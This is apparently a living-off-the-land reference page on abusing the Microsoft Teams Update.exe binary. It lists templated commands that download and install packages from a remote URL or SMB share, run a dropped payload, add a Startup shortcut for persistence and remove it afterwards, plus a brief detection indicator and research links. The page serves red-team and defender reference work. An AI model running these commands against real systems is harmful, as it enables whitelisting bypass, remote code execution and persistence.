01 / TRADECRAFT
13 examplesCommand reference
Download1
EXAMPLE 01T1218
The above binary will go to url and look for RELEASES file and download the nuget package.
COMMAND
Update.exe --download {REMOTEURL}AWL Bypass5
EXAMPLE 01T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package.
COMMAND
Update.exe --update={REMOTEURL}EXAMPLE 02T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
COMMAND
Update.exe --update={PATH_SMB:folder}EXAMPLE 03T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package.
COMMAND
Update.exe --updateRollback={REMOTEURL}EXAMPLE 04T1218
Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
COMMAND
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"EXAMPLE 05T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
COMMAND
Update.exe --updateRollback={PATH_SMB:folder}Execute7
EXAMPLE 01T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package.
COMMAND
Update.exe --update={REMOTEURL}EXAMPLE 02T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
COMMAND
Update.exe --update={PATH_SMB:folder}EXAMPLE 03T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package.
COMMAND
Update.exe --updateRollback={REMOTEURL}EXAMPLE 04T1218
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
COMMAND
Update.exe --updateRollback={PATH_SMB:folder}EXAMPLE 05T1218
Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
COMMAND
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"EXAMPLE 06T1547
Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.
COMMAND
Update.exe --createShortcut={PATH:.exe} -l=StartupEXAMPLE 07T1070
Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.
COMMAND
Update.exe --removeShortcut={PATH:.exe}-l=Startup02 / ON DISK
Known paths
C:\Users\<username>\AppData\Local\Microsoft\Teams\update.exe03 / DEFENSIVE INTELLIGENCE
1 resourcesDetection & indicators
Indicators & detection notes
- IOC
Update.exe spawned an unknown process
REFERENCE IMPLEMENTATIONS
Code samples
FURTHER READING
Research & resources
- READwatchwww.youtube.com
- READResearch by @reegun21twitter.com
- READResearch by @MrUn1k0d3rtwitter.com
- READResearch by @reegun21twitter.com
- READsquirrel as a lolbinwww.hexacorn.com
- READnuget squirrel uncontrolled endpoints leads to arbitrary code execution 80c9df51cf12medium.com
- READupdate nuget squirrel uncontrolled endpoints leads to arbitrary code execution b55295144b56medium.com
- READmicrosoft teams updater living off the landwww.trustwave.com
COMMUNITY RESEARCH
Acknowledgements
Reegun Richard Jayapaul (SpiderLabs, Trustwave)@reegun21
Mr.Un1k0d3r@MrUn1k0d3r
Adam@Hexacorn
Jesus Galvez